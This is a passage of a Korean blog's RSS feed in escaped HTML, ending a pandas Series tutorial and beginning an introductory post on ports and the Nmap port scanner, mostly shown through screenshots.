this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;a위치에 1이라는 값이 있다는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;100&quot; data-origin-height=&quot;35&quot; width=&quot;177&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Oqcb4/btqHEevqqEP/Kl62kx01GtTFA9DFYRdtck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Oqcb4/btqHEevqqEP/Kl62kx01GtTFA9DFYRdtck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Oqcb4/btqHEevqqEP/Kl62kx01GtTFA9DFYRdtck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOqcb4%2FbtqHEevqqEP%2FKl62kx01GtTFA9DFYRdtck%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;100&quot; data-origin-height=&quot;35&quot; width=&quot;177&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 b의 b위치에 2017이라는 값을 넣었고 b를 출력하였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;94&quot; data-origin-height=&quot;89&quot; width=&quot;189&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vMsHO/btqHGTLiW28/oxCqcUHY0S9zaSZcU739pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vMsHO/btqHGTLiW28/oxCqcUHY0S9zaSZcU739pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vMsHO/btqHGTLiW28/oxCqcUHY0S9zaSZcU739pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvMsHO%2FbtqHGTLiW28%2FoxCqcUHY0S9zaSZcU739pk%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;94&quot; data-origin-height=&quot;89&quot; width=&quot;189&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;결과는 다음과 같다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 시리즈(Series)&amp;nbsp;연산&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;48&quot; data-origin-height=&quot;23&quot; width=&quot;100&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OSPKR/btqHvK3DRLv/TRM0tspJDyI0IYfEhlFJh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OSPKR/btqHvK3DRLv/TRM0tspJDyI0IYfEhlFJh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OSPKR/btqHvK3DRLv/TRM0tspJDyI0IYfEhlFJh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOSPKR%2FbtqHvK3DRLv%2FTRM0tspJDyI0IYfEhlFJh0%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;48&quot; data-origin-height=&quot;23&quot; width=&quot;100&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;b가 3보다 큰 것만 출력&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;98&quot; data-origin-height=&quot;53&quot; width=&quot;142&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be1coA/btqHzDQJTBa/2UE18AFUdRGkkQbgKk3zOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be1coA/btqHzDQJTBa/2UE18AFUdRGkkQbgKk3zOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be1coA/btqHzDQJTBa/2UE18AFUdRGkkQbgKk3zOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe1coA%2FbtqHzDQJTBa%2F2UE18AFUdRGkkQbgKk3zOk%2Fimg.png&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;98&quot; data-origin-height=&quot;53&quot; width=&quot;142&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;결과는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;19.PNG&quot; data-origin-width=&quot;48&quot; data-origin-height=&quot;24&quot; width=&quot;100&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPx6aK/btqHA47UTC4/zeKNVhDr7WJKE8k0qiXEq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPx6aK/btqHA47UTC4/zeKNVhDr7WJKE8k0qiXEq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPx6aK/btqHA47UTC4/zeKNVhDr7WJKE8k0qiXEq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPx6aK%2FbtqHA47UTC4%2FzeKNVhDr7WJKE8k0qiXEq1%2Fimg.png&quot; data-filename=&quot;19.PNG&quot; data-origin-width=&quot;48&quot; data-origin-height=&quot;24&quot; width=&quot;100&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 *2를 하면 기존 파일 썬은 길이가 2배가 되어 버리지만 NumPy는 값에 *2를 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;20.PNG&quot; data-origin-width=&quot;91&quot; data-origin-height=&quot;91&quot; width=&quot;162&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKpQIT/btqHxQbHOjX/jU4FMRXw4kOjkBVeo7FKh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKpQIT/btqHxQbHOjX/jU4FMRXw4kOjkBVeo7FKh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKpQIT/btqHxQbHOjX/jU4FMRXw4kOjkBVeo7FKh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKpQIT%2FbtqHxQbHOjX%2FjU4FMRXw4kOjkBVeo7FKh0%2Fimg.png&quot; data-filename=&quot;20.PNG&quot; data-origin-width=&quot;91&quot; data-origin-height=&quot;91&quot; width=&quot;162&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그래서 다음과 같은 결과를 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 시리즈(Series) dict 매핑&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;503&quot; data-origin-height=&quot;71&quot; width=&quot;609&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5in5W/btqHsbOfG6o/smFMkfqv5bF61z7ll0abQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5in5W/btqHsbOfG6o/smFMkfqv5bF61z7ll0abQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5in5W/btqHsbOfG6o/smFMkfqv5bF61z7ll0abQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5in5W%2FbtqHsbOfG6o%2FsmFMkfqv5bF61z7ll0abQk%2Fimg.png&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;503&quot; data-origin-height=&quot;71&quot; width=&quot;609&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 name에는 choi, age에는 30 같이 넣어주고 dict_data를 Series로 쭉 밀어 넣으면&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;228&quot; data-origin-height=&quot;105&quot; width=&quot;315&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/50Vnk/btqHByHVohY/eyo2VuSnuShUM69wIl7Vk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/50Vnk/btqHByHVohY/eyo2VuSnuShUM69wIl7Vk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/50Vnk/btqHByHVohY/eyo2VuSnuShUM69wIl7Vk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F50Vnk%2FbtqHByHVohY%2Feyo2VuSnuShUM69wIl7Vk0%2Fimg.png&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;228&quot; data-origin-height=&quot;105&quot; width=&quot;315&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 인덱스가 원하는 대로 입력이 되었고 값도 자동으로 입력되어 예쁘게 세팅된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;23.PNG&quot; data-origin-width=&quot;119&quot; data-origin-height=&quot;17&quot; width=&quot;210&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mMfkR/btqHvCyjQfn/Sx1QKmnIq0fMyxbn7BgOek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mMfkR/btqHvCyjQfn/Sx1QKmnIq0fMyxbn7BgOek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mMfkR/btqHvCyjQfn/Sx1QKmnIq0fMyxbn7BgOek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmMfkR%2FbtqHvCyjQfn%2FSx1QKmnIq0fMyxbn7BgOek%2Fimg.png&quot; data-filename=&quot;23.PNG&quot; data-origin-width=&quot;119&quot; data-origin-height=&quot;17&quot; width=&quot;210&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 코드는 sr_data에 데이터가 있는지 없는지 확인하는 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;24.PNG&quot; data-origin-width=&quot;146&quot; data-origin-height=&quot;109&quot; width=&quot;206&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FDplj/btqHAn1bZyD/wMFHrf8viuGjazp7rJxZlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FDplj/btqHAn1bZyD/wMFHrf8viuGjazp7rJxZlk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FDplj/btqHAn1bZyD/wMFHrf8viuGjazp7rJxZlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFDplj%2FbtqHAn1bZyD%2FwMFHrf8viuGjazp7rJxZlk%2Fimg.png&quot; data-filename=&quot;24.PNG&quot; data-origin-width=&quot;146&quot; data-origin-height=&quot;109&quot; width=&quot;206&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 위와 같은 결과를 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;25.PNG&quot; data-origin-width=&quot;263&quot; data-origin-height=&quot;50&quot; width=&quot;337&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qHFeV/btqHxbNxiRT/qPJATtZeRpJVKkwkkpjyk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qHFeV/btqHxbNxiRT/qPJATtZeRpJVKkwkkpjyk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qHFeV/btqHxbNxiRT/qPJATtZeRpJVKkwkkpjyk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqHFeV%2FbtqHxbNxiRT%2FqPJATtZeRpJVKkwkkpjyk0%2Fimg.png&quot; data-filename=&quot;25.PNG&quot; data-origin-width=&quot;263&quot; data-origin-height=&quot;50&quot; width=&quot;337&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Series의 이름과 인덱스의 이름 설정이 가능하다.&lt;/p&gt;
&lt;p&gt;위의 코드를 입력하면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;26.PNG&quot; data-origin-width=&quot;291&quot; data-origin-height=&quot;125&quot; width=&quot;387&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wwYBV/btqHsbtZKi4/Isn9hOD8sXa0Vl8BDMA2p1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wwYBV/btqHsbtZKi4/Isn9hOD8sXa0Vl8BDMA2p1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wwYBV/btqHsbtZKi4/Isn9hOD8sXa0Vl8BDMA2p1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwwYBV%2FbtqHsbtZKi4%2FIsn9hOD8sXa0Vl8BDMA2p1%2Fimg.png&quot; data-filename=&quot;26.PNG&quot; data-origin-width=&quot;291&quot; data-origin-height=&quot;125&quot; width=&quot;387&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 결과와 같이 인덱스의 이름과 설정이 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/코딩공부</category>
      <category>pandas</category>
      <category>문서자동화</category>
      <category>코딩</category>
      <category>파이썬</category>
      <category>프로그래밍</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/61</guid>
      <comments>https://geru.tistory.com/61#entry61comment</comments>
      <pubDate>Sun, 30 Aug 2020 19:10:31 +0900</pubDate>
    </item>
    <item>
      <title>[포트 스캐닝] Nmap사용하기</title>
      <link>https://geru.tistory.com/47</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 개요&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;포트 스캐닝은 대상 호스트에 &quot;어떤 포트가 열려있는지&quot;와 &quot;어떤 서비스가 작동하는지?&quot; 알아보는 것을 말하는 것이다.&lt;/p&gt;
&lt;p&gt;포트라는 것은 간단하게 말하면 웹서비스, ftp서비스 등의 서비스를 제공할 때 사용하는 것이다.&lt;/p&gt;
&lt;p&gt;각각의 포트는 고유의 번호를 가지고 있으며 0~65,535로 구성되어있다.&lt;/p&gt;
&lt;p&gt;원래 포트번호는 아무 숫자 임의로 사용할 수 있지만 우리가 잘 알고 있는 서비스의 포트는 암묵적으로 정해져 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;캡처.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;653&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zuBnG/btqGnIloYvG/rgkQ29y2thzs9SlQ1paKRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zuBnG/btqGnIloYvG/rgkQ29y2thzs9SlQ1paKRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zuBnG/btqGnIloYvG/rgkQ29y2thzs9SlQ1paKRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzuBnG%2FbtqGnIloYvG%2FrgkQ29y2thzs9SlQ1paKRk%2Fimg.png&quot; data-filename=&quot;캡처.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;653&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;잘 알려진 포트번호는 vi /etc/services 명령어를 입력해서 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;657&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSANfj/btqGsMNwUdr/MrXihhOsIEbNeqNm0rw8tK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSANfj/btqGsMNwUdr/MrXihhOsIEbNeqNm0rw8tK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSANfj/btqGsMNwUdr/MrXihhOsIEbNeqNm0rw8tK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSANfj%2FbtqGsMNwUdr%2FMrXihhOsIEbNeqNm0rw8tK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;657&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;660&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mhr16/btqGrh1oboM/AKxlhhRW8wUu82s5vnQUVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mhr16/btqGrh1oboM/AKxlhhRW8wUu82s5vnQUVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mhr16/btqGrh1oboM/AKxlhhRW8wUu82s5vnQUVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMhr16%2FbtqGrh1oboM%2FAKxlhhRW8wUu82s5vnQUVK%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;660&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Nmap&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;포트 스캐닝은 거의 Nmap을 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;665&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NFycQ/btqGnHGNa9U/fHxxVAJkDVIHM0iKQke7Gk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NFycQ/btqGnHGNa9U/fHxxVAJkDVIHM0iKQke7Gk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NFycQ/btqGnHGNa9U/fHxxVAJkDVIHM0iKQke7Gk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNFycQ%2FbtqGnHGNa9U%2FfHxxVAJkDVIHM0iKQke7Gk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;665&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;665&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TthAL/btqGpw56wgW/ZmaIBUv50OBLK52hhbK9o1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TthAL/btqGpw56wgW/ZmaIBUv50OBLK52hhbK9o1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TthAL/btqGpw56wgW/ZmaIBUv50OBLK52hhbK9o1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTthAL%2FbtqGpw56wgW%2FZmaIBUv50OBLK52hhbK9o1%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;665&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
